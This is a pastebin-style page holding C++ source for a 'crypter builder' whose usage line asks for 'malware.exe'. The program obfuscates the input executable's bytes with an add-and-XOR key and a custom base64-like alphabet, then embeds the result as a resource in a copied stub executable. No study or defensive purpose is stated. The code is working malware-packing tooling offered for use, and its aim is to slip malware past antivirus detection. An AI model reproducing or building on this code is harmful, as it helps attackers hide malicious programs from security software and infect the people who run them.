C++ Crypter Builder Source


SUBMITTED BY: Guest

DATE: July 5, 2014, 7:55 a.m.

FORMAT: C++

SIZE: 4.8 kB

HITS: 853

  1. #pragma warning(disable: 4244)
  2. #include <Windows.h>
  3. #include <iostream>
  4. static char encoding_table[] =
  5. {
  6. '=', 'w', 'e', 'r', 't', 'y', 'u', 'i',
  7. 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h',
  8. '-', 'k', 'l', 'z', 'x', 'c', 'v', 'b',
  9. 'n', 'm', 'Q', 'W', 'E', 'R', 'T', 'Y',
  10. '<', 'I', 'O', 'P', 'A', 'S', 'D', 'F',
  11. 'G', 'H', 'J', '/', 'L', 'Z', '@', 'C',
  12. 'V', 'B', 'N', 'M', '9', '8', '7', '6',
  13. '5', '4', '3', '2', '1', '0', 'X', 'j'
  14. };
  15. static DWORD mod_table[] = { 0, 2, 1 };
  16. char *mEncode(const byte *data, DWORD input_length, DWORD *output_length)
  17. {
  18. char *encoded_data;
  19. DWORD i, j;
  20. *output_length = 4 * ((input_length + 2) / 3);
  21. encoded_data = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *output_length);
  22. if (encoded_data == NULL)
  23. {
  24. return NULL;
  25. }
  26. for (i = 0, j = 0; i < input_length;)
  27. {
  28. __int32 octet_a, octet_b, octet_c, triple;
  29. octet_a = i < input_length ? (BYTE)data[i++] : 0;
  30. octet_b = i < input_length ? (BYTE)data[i++] : 0;
  31. octet_c = i < input_length ? (BYTE)data[i++] : 0;
  32. triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
  33. encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];
  34. encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];
  35. encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];
  36. encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];
  37. }
  38. for (i = 0; i < mod_table[input_length % 3]; i++)
  39. {
  40. encoded_data[*output_length - 1 - i] = '#';
  41. }
  42. return encoded_data;
  43. }
  44. void Encode(byte *Data, DWORD Key, DWORD Size)
  45. {
  46. for(DWORD i = 0; i < Size;i++)
  47. {
  48. Data[i] += Key;
  49. Data[i] ^= Key;
  50. }
  51. }
  52. int main(int argc, char **argv)
  53. {
  54. std::cout << "Cpp Crypter example made by -Petrichor";
  55. if(argc != 2)
  56. {
  57. std::cout << "\nUsage: " << argv[0] << " malware.exe";
  58. return 1;
  59. }
  60. HANDLE ReadHandle = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  61. if(ReadHandle == INVALID_HANDLE_VALUE)
  62. {
  63. std::cout << "\nCouldn't read the file. Make sure it exists. Best way is to drag and drop.";
  64. return 1;
  65. }
  66. DWORD inputSize = GetFileSize(ReadHandle, NULL);
  67. if(inputSize == INVALID_FILE_SIZE)
  68. {
  69. std::cout << "\nCouldn't get the file size.";
  70. CloseHandle(ReadHandle);
  71. return 1;
  72. }
  73. byte *inputData = static_cast<PBYTE>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, inputSize));
  74. if(inputData == NULL)
  75. {
  76. std::cout << "\nNot enough memory.";
  77. CloseHandle(ReadHandle);
  78. return 1;
  79. }
  80. DWORD check = 0;
  81. if(!ReadFile(ReadHandle, inputData, inputSize, &check, NULL) || check != inputSize)
  82. {
  83. std::cout << "\nCouldn't read the file bytes or amount of read bytes is not correct.";
  84. CloseHandle(ReadHandle);
  85. if(inputData != NULL)
  86. {
  87. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
  88. }
  89. return 1;
  90. }
  91. Encode(inputData, 1337, inputSize);
  92. DWORD Encodedlen = 0;
  93. char *Encoded = mEncode(inputData, inputSize, &Encodedlen);
  94. if(Encodedlen == 0 || Encodedlen != 4 * ((inputSize + 2) / 3))
  95. {
  96. std::cout << "Something went wrong while encrypting the data";
  97. CloseHandle(ReadHandle);
  98. if(inputData != NULL)
  99. {
  100. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
  101. }
  102. else if(Encoded != NULL)
  103. {
  104. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Encoded);
  105. }
  106. return 1;
  107. }
  108. if(!CopyFileA("Stub.exe", "Done.exe", FALSE))
  109. {
  110. std::cout << "Stub is missing.";
  111. CloseHandle(ReadHandle);
  112. if(inputData != NULL)
  113. {
  114. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
  115. }
  116. else if(Encoded != NULL)
  117. {
  118. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Encoded);
  119. }
  120. return 1;
  121. }
  122. HANDLE hResource = BeginUpdateResourceA("Done.exe", NULL);
  123. UpdateResourceA(hResource, RT_RCDATA, "Strings", LANG_NEUTRAL, Encoded, Encodedlen);
  124. EndUpdateResourceW(hResource, NULL);
  125. CloseHandle(ReadHandle);
  126. if(inputData != NULL)
  127. {
  128. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
  129. }
  130. else if(Encoded != NULL)
  131. {
  132. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Encoded);
  133. }
  134. std::cout << "\nAll done.";
  135. return 0;
  136. }

comments powered by Disqus